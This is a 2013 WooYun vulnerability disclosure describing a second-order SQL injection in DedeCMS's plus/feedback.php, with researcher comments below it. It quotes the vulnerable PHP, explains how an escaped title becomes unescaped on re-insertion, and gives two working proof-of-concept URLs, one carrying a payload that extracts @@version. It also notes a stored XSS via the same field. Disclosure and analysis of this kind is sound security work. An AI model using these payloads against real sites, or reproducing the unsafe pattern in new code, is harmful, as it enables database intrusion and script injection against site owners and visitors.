当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018562

漏洞标题:dedecms鸡肋级注入与细节分析过程

相关厂商:dedecms

漏洞作者: yy520

提交时间:2013-02-10 13:07

修复时间:2013-03-27 13:08

公开时间:2013-03-27 13:08

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-03-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一枚二次注入,因为字数限制了,所以显得特别鸡肋。
另外,祝大家新年快乐 :)

详细说明:

233      extract($arcRow, EXTR_SKIP);
234 $msg = cn_substrR(TrimMsg($msg), 1000);
235 $username = cn_substrR(HtmlReplace($username, 2), 20);
236 if(empty($feedbacktype) || ($feedbacktype!='good' && $feedbacktype!='bad'))
237 {
238 $feedbacktype = 'feedback';
239 }
240 //保存评论内容
241 if($comtype == 'comments')
242 {
243 $arctitle = addslashes($title);
244 $typeid = intval($typeid);
245 $ischeck = intval($ischeck);
246 $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
247 if($msg!='')
248 {
249 $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
250 VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
251 $rs = $dsql->ExecuteNoneQuery($inquery);
252 if(!$rs)
253 {
254 ShowMsg(' 发表评论错误! ', '-1');
255 //echo $dsql->GetError();
256 exit();
257 }
258 }
259 }
260 //引用回复
261 elseif ($comtype == 'reply')
262 {
263 $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
264 $arctitle = $row['arctitle'];
265 $aid =$row['aid'];
266 $msg = $quotemsg.$msg;
267 $msg = HtmlReplace($msg, 2);
268 $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
269 VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
270 $dsql->ExecuteNoneQuery($inquery);
271 }


理论:
insert → select → insert 类型
line 233 , 指定为 EXTR_SKIP,所以我们可以任意制定$title的值
line 243 , 第一次insert之前,$title被过滤,$title=test\'进入数据库时将变成test'
line 263 , select出来的arctitle 为 test',然后再次进入insert,导致注入

漏洞证明:

实际:
假设我们第一次输入:
http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=comments&isconfirm=yes&notuser=1&msg=stage1111&title=yy',1,1,1,0,0,0,'feedback',0,@@version),(9,1,'','
当gpc为on时,line 243的$title被转义两次,进入数据库的时候变成

1.png


然后我们引用这条留言:
http://localhost/dede7/plus/feedback.php?action=send&aid=1&&comtype=reply&isconfirm=yes&notuser=1&msg=stage2222&fid=38

3.png


再次引用id 41的留言:

4.png


成功注入:

5.png


理论意义大于实际意义,这个注入没有太大的危害,因为字段arctitle在mysql中的定义为 varchar(60) not null,60字节不够绕过那个ids,同理还有plus/bookfeedback.php,不过bookfeedback.php 好像没启用,没作测试,对了,当title=<script>alert(1)</script>的时候,还可以产生一个xss

6.png

修复方案:

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-03-15 10:59 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    好吧,其实不算鸡肋

  2. 2013-03-27 13:23 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @yy520 楼主分析帝,

  3. 2013-03-27 14:49 | open ( 实习白帽子 | Rank:31 漏洞数:5 | ;alert('robert');//)

    这漏洞很NB

  4. 2013-03-27 17:41 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    嗯,理论价值比较大。值得学习。很多程序都这样,过分的相信数据库里的数据。

  5. 2013-03-27 18:48 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    @xsjswt 实际上,实际意义也很大了,可以绕过那个60字节的限制了,可惜还是需要留言的权限

  6. 2013-03-28 09:43 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    @yy520 我觉得理论价值比实际价值大。印证了“很多程序过分相信来自数据库的数据”。从拿cacti的shell,到拿主站的shell,都是靠程序过分相信数据库中的数据 WooYun: 沦陷学生之家,一次漂亮的渗透与源码分析

  7. 2013-05-15 10:33 | clzzy ( 普通白帽子 | Rank:176 漏洞数:18 )

    留个爪